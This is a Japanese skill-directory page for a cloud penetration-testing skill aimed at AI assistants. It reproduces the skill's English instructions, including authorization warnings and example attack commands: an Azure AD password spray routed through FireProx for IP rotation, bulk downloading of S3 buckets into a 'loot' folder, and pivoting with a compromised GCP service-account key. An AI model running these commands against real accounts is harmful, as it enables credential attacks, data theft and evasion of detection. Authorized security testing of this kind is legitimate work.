本文へスキップ
Skillpedia
テスト48k · #4164

cloud-penetration-testing

できること

このツールは、クラウドシステム(Azure、AWS、Google Cloudなど)のセキュリティを確認するためのものです。悪意のあるハッカーより先に弱点を見つけるために、管理された攻撃を模擬します。

使う場面

  • ✓クラウドアカウントを公開する前に、そのセキュリティをテストしたいとき。
  • ✓設定したセキュリティ対策が期待どおりに機能しているかを確認したいとき。
  • ✓管理された、許可のある環境でクラウドセキュリティを学びたいとき。

スキルのリンク

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/cloud-penetration-testing/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“AWSアカウントのセキュリティをテストしたいです。特に、設定ミスのあるS3バケットがないかを調べてください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

ツールは、各クラウドプロバイダー(Azure、AWS、GCP)ごとに特定のコマンドを使い、リソースへのアクセスを試みて脆弱性を見つけます。あなたの明示的な許可と確認を得てから初めて動作します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cloud Penetration Testing

Detailed Guide

Read the detailed guide before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Prerequisites

Required Tools

# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
cat "$tmpdir/google-cloud-sdk-install.sh"  # review the full installer before executing
bash "$tmpdir/google-cloud-sdk-install.sh"
gcloud init

# Additional tools
pip install scoutsuite pacu

Required Knowledge

  • Cloud architecture fundamentals
  • Identity and Access Management (IAM)
  • API authentication mechanisms
  • DevOps and automation concepts

Required Access

  • Written authorization for testing
  • Test credentials or access tokens
  • Defined scope and rules of engagement

Constraints and Limitations

Legal Requirements

  • Only test with explicit written authorization
  • Respect scope boundaries between cloud accounts
  • Do not access production customer data
  • Document all testing activities

Technical Limitations

  • MFA may prevent credential-based attacks
  • Conditional Access policies may restrict access
  • CloudTrail/Activity Logs record all API calls
  • Some resources require specific regional access

Detection Considerations

  • Cloud providers log all API activity
  • Unusual access patterns trigger alerts
  • Use slow, deliberate enumeration
  • Consider GuardDuty, Security Center, Cloud Armor

Examples

Example 1: Azure Password Spray

Scenario: Test Azure AD password policy

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox

Example 2: AWS S3 Bucket Enumeration

Scenario: Find and access misconfigured S3 buckets

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/

Example 3: GCP Service Account Compromise

Scenario: Pivot using compromised service account

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

When to Use

…

よくある質問

このツールを使うには許可が必要ですか?

はい。このツールを使う前に、システムの所有者から明示的かつ書面による許可を得る必要があります。許可なく使用することは違法です。

許可がない場合はどうなりますか?

ツールは、確認を得ないかぎり攻撃テストを実行しないように設計されています。明確な許可がない場合は、データを変更したりアクセスしたりする操作は行わず、防御のための助言のみを提供します。

どのクラウドプロバイダーに対応していますか?

Microsoft Azure、Amazon Web Services(AWS)、Google Cloud Platform(GCP)という主要なクラウドプロバイダーに対応しています。

詳細

作者による元の説明

Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).

repo: sickn33/agentic-awesome-skills

人気

GitHubのスター
48k
ランキング
#4164
ライセンス
MIT
更新日
2026/10/15

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル